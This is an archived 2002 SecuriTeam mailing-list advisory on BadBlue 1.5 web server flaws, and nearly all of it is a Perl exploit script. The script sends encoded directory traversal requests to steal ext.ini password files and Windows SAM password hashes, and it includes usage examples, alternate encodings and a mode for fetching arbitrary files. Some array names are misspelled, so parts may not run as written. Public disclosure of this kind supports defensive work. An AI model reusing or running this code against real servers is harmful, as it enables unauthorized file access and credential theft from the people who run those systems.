

Securiteam: [EXPL] BadBlue Contains Multiple Security Vulnerabilities (Exploit code)

[EXPL] BadBlue Contains Multiple Security Vulnerabilities (Exploit code)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-01/0126.html>

From: support@securiteam.com

Date: 01/29/02

From: support@securiteam.com

To: list@securiteam.com

Date: Tue, 29 Jan 2002 21:09:16 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

BadBlue Contains Multiple Security Vulnerabilities (Exploit code)

SUMMARY

<<http://www.badblue.com/>> BadBlue is the technology behind Working Resources Inc.'s product line with the same name and which, amongst other things, also powers Deerfield.com's D2Gfx file sharing community. The BadBlue technology suffers from multiple vulnerabilities which could be abused to obtain read access to any file and to execute system commands on the target host. In addition, this attack allows attackers to launch a resource exhaustion attack against the server.

The following is a proof of concept exploit code.

DETAILS

Exploit:

```
#!/usr/bin/perl
```

```
#
```

```
#
```

```
# Remote Exploit For BadBlue 1.5 Web Server
```

```
# www.badblue.com
```

```
#
```

```
# A transversal bug has been discovered in
```

Securiteam: [EXPL] BadBlue Contains Multiple Security Vulnerabilities (Exploit code)

```
# BadBlue HTTP Daemon SoftWare. This is a
# gay bug, yes I know. But it can be kinda
# funny for those days you are bored =)
#
# Vulnerable System: Windows 95
# Windows 98
# Windows ME
# Windows NT 3.5
# Windows NT 4.0
# Windows 2000
# Windows XP
#
# syntax:
#
# -h ---- Specify Host Name
# -p ---- Specify Host Port
# -o ---- For Grabbing Anothern file
# -l ---- For Logging.
# -O ---- Specify What OS
# 9x ---- For Windows 95/98/mE (Gets the ext.ini with
passwords)
# NT ---- For Windows NT 3/4 (Gets sam file and ext.ini)
# 2K ---- For Windows 2K SP-012 (Gets sam file and ext.ini)
# XP ---- For Windows XP ALL
#
# perl badxploit.pl -h www.host.com -p 80 -l esh0yday.log -O 9x - For
Win/9x
# perl badxploit.pl -h www.host.com -p 80 -l esh0yday.log -O NT - For
Win/NT
# perl badxploit.pl -h www.host.com -p 80 -l esh0yday.log -o 2X - For
Win/2K/XP
#
#
*****
# ** For the '-o' syntax you need to know the exact location of the file
**
# ** NOTE! You can only get files from the same drive as BadBlue
**
# **
**
# ** Eg if($badblue-drive == $c:) {syntax will be get a file C:\boot.ini
**
# ** perl badxploit.pl -h www.host.com -p 80 -l es.log -o boot.ini }
**
# ** Now check es.log for the contents of boot.ini =)
**
#
*****
#
# You'll figure it out, If you don't understand.
#
```

Securiteam: [EXPL] BadBlue Contains Multiple Security Vulnerabilities (Exploit code)

```
# Greetings: Websk8ter, BrainStorm, asmodian, _0x90_, divine, FreQ, northern,
CraiK
# kokshin, rocky, omnis, NtWaK0, loophole, icesk, tsilik,
crazy0rd, [t]hief
# CraigTM, DeadMouse, irrupt, izik, sagi, ofer, natrix, samko,
blah everyone else
# [!ElectronicSouls], HHP
#
# Special THNX AND GREET TO *** Pneuma *** for being there for me => Luv
ya!@
#
# Bug discovered and written by Iceburg of [!ElectronicSouls].
# Seelan@comstat.co.za

use Socket;
use Getopt::Std;

getopts("O:o:h:p:l:", \%args);

print ("\n");
print ("=====\n");
print ("== -- Remote Exploit For BadBlue 1.5 WebServers ==\n");
print ("== -- Discovered and Written By Iceburg ==\n");
print ("== -- [ElectronicSouls] Production. ==\n");
print ("=====\n");
print ("\n");

if (!defined $args{h}) {
print qq~

syntax:

-h --- Specify Host Name
-p --- Specify Host Port
-o --- For Grabbing Another file
-l --- For Logging.
-O --- Specify What OS
--9x --- For Windows 95/98/mE (Gets the ext.ini with passwords)
--NT --- For Windows NT 3/4 (Gets sam file and ext.ini)
--2K --- For Windows 2K SP-012 (Gets sam file and ext.ini)
--XP --- For Windows XP ALL

Syntax are case sensitive =>

~; exit; }

if (defined $args{h}) { $host=$args{h}; print "*** Exploiting $host
..\n"; }
if (defined $args{p}) { $port = $args{p} } else { $port = "80"; }
```

Securiteam: [EXPL] BadBlue Contains Multiple Security Vulnerabilities (Exploit code)

```
if (defined $args{1}) {
$file=$args{1};
$log=1;
open (LOG,">$file") || die ("*** Cannot open file for logging\n");
print LOG ("*** [ElectronicSouls] Production\n");
print LOG ("*** BadBlue 1.5 Remote Exploit\n");
print LOG ("*** Discovered And Written By Iceburg\n\n"); }
```

```
# This is like eleet unicode.
# I know more but I am too lazy to type it out.
# If these don't work try adding some more ..%2F||252f||255c..
# These are for default directories, if the directory ain't default
# it won't work, therefor you can use '-o' syntax.
```

```
# Win9x/mE Strings && WinNT/2K/XP
```

```
@sploits1 = (
"[ElectronicSouls]/..%2f../ext.ini", # Main String
"[0WNZ]/..%252f..%252f../ext.ini", # Alternative
"[YOU]/..%255c..%255c../ext.ini", ); # Alternative
```

```
# WinNT Strings
```

```
@sploits2 = (
"..%2F..%2F..%2F..%2F../winnt/repair/sam._",
"..%252f..%252f..%252f..%252f..%252f../winnt/repair/sam._",
"..%255c..%255c..%255c..%255c..%255c../winnt/repair/sam._",);
```

```
# Win2K Strings
```

```
@sploits3 = (
"..%2F..%2F..%2F..%2F..%2F../winnt/repair/sam",
"..%252f..%252f..%252f..%252f..%252f../winnt/repair/sam",
"..%255c..%255c..%255c..%255c..%255c../winnt/repair/sam",);
```

```
# WinXP String
```

```
@sploits4 = (
"..%2F..%2F..%2F..%2F..%2F../windows/repair/sam",
"..%252f..%252f..%252f..%252f..%252f../windows/repair/sam",
"..%255c..%255c..%255c..%255c..%255c../windows/repair/sam",);
```

```
if (defined $args{o}) {
$string = $args{o};
print ("*** Using Manual String $string\n");
&connect;
send(SOCK,"GET /$string HTTP/1.0\r\n\r\n",0);
```

```
@ocheck=<SOCK>;
($http,$code,$blah) = split(/ /,$ocheck[0]);
if($code == 200) {
```

[EXPL] BadBlue Contains Multiple Security Vulnerabilities (Exploit code)

Securiteam: [EXPL] BadBlue Contains Multiple Security Vulnerabilities (Exploit code)

```
print ("=====\n");
print ("*** Server is vulnerable \n");
print ("=====\n");
print ("\n @ocheck\n");
print ("=====\n");

if ($log) { print LOG ("=====\n"); }
if ($log) { print LOG ("*** Server is vulnerable \n"); }
if ($log) { print LOG ("=====\n"); }
if ($log) { print LOG ("@ocheck\n"); }
if ($log) { print LOG ("=====\n"); }

die ("*** J00 15 kr4d+LUC|<Y+hax0r n0w\n\n"); } else { print ("*** SORRY
J00 kr4|) H4x0r 7r1x0r d1|) n07 w3r|<\n\n"); }
}

if (defined $args{O}) {
if ($args{O} =~ "XP") { print ("*** Probing WinXP – ALL\n\n"); test4(); }
if ($args{O} =~ "2K") { print ("*** Probing Win2K – SP1–2\n\n"); test3(); }
}
if ($args{O} =~ "NT") { print ("*** Probing WinNT – 3/4\n\n"); test2(); }
if ($args{O} =~ "9x") { print ("*** Probing Win9x – ME\n\n"); test1(); }
}

sub test4 {

foreach $xploit4 (@spoits4) {
&connect;
send(SOCK,"GET /$xploit4 HTTP/1.0\r\n\r\n",0);

@check4=<SOCK>;
($http,$code,$blah) = split(/ /,$check4[0]);
if($code == 200) {

print ("=====\n");
print ("*** Server is vulnerable \n");
print ("*** Getting sam file \n");
print ("=====\n");
print ("\n");

open(SAM,">sam") || error();

my $x;

for ($x=8;$x<=30;$x++) {
print SAM ("$check4[$x]"); }
test1();
} else { print ("*** Server is not vulberable to string $xploit4\n"); }
close(SOCK); }
}
```

Securiteam: [EXPL] BadBlue Contains Multiple Security Vulnerabilities (Exploit code)

```
sub test3 {

foreach $exploit3 (@spoits3) {
&connect;
send(SOCK,"GET /$exploit3 HTTP/1.0\r\n\r\n",0);

@check3=<SOCK>;
($http,$code,$blah) = split(/ /,$check3[0]);
if($code == 200) {

    print ("=====\n");
    print ("*** Server is vulnerable \n");
    print ("*** Getting sam file \n");
    print ("=====\n");
    print ("\n");

open(SAM,">sam") || error();

my $x;

for ($x=8;$x<=30;$x++) {
    print SAM ("$check3[$x]"); }
    test1();
} else { print ("*** Server is not vulberable to string $exploit3\n"); }
    close(SOCK); }
}

sub test2 {

foreach $exploit2 (@spoits2) {
&connect;
send(SOCK,"GET /$exploit2 HTTP/1.0\r\n\r\n",0);

@check2=<SOCK>;
($http,$code,$blah) = split(/ /,$check2[0]);
if($code == 200) {

    print ("=====\n");
    print ("*** Server is vulnerable \n");
    print ("*** Getting sam file \n");
    print ("=====\n");
    print ("\n");

open(SAM,">sam") || error();

my $x;

for ($x=8;$x<=30;$x++) {
    print SAM ("$check2[$x]\n");
}
    test1();
```

Securiteam: [EXPL] BadBlue Contains Multiple Security Vulnerabilities (Exploit code)

```
} else { print ("*** Server is not vulberable to string $exploit2\n"); }
close(SOCK); }
}

sub test1 {

foreach $exploit1 (@sploits1) {
&connect;
send(SOCK,"GET /$exploit1 HTTP/1.0\r\n\r\n",0);

@check=<SOCK>;
#print "@check";
($http,$code,$blah) = split(/ /,$check[0]);
if($code == 200) {

print ("=====\n");
print ("*** Getting contents of ext.ini\n");
print ("*** Server is vulnerable \n");
print ("=====\n");
print ("\n @check\n");
print ("=====\n");

if ($log) { print LOG ("=====\n"); }
if ($log) { print LOG ("*** Server is vulnerable \n"); }
if ($log) { print LOG ("*** Contents of ext.ini \n"); }
if ($log) { print LOG ("=====\n"); }
for ($i=8;$i<=@check;$i++) { if ($log) { print LOG ("$check[$i]"); } }
if ($log) { print LOG ("=====\n"); }

die ("*** J00 15 kr4d-hax0r n0w\n");

} else { print ("*** Server is not vulberable to string $exploit1\n"); }
close(SOCK); }
}

sub connect {
my($iaddr,$paddr,$proto);
$iaddr = inet_aton($host) || die "Error: $!";
$paddr = sockaddr_in($port, $iaddr) || die "Error: $!";
$proto = getprotobyname('tcp') || die "Error: $!";
socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die("Failed to open socket:
$!");
connect(SOCK, $paddr) || die("Unable to connect: $!");
}

sub error {
print ("For some weird reason a error has occured: $!\n");
print ("Continueing ... \n");
}
```

ADDITIONAL INFORMATION

Securiteam: [EXPL] BadBlue Contains Multiple Security Vulnerabilities (Exploit code)

The information has been provided by <mailto:sk@netspot-online.net>
Stefan Klaas.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[TOOL] Leviathan Security Auditor"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)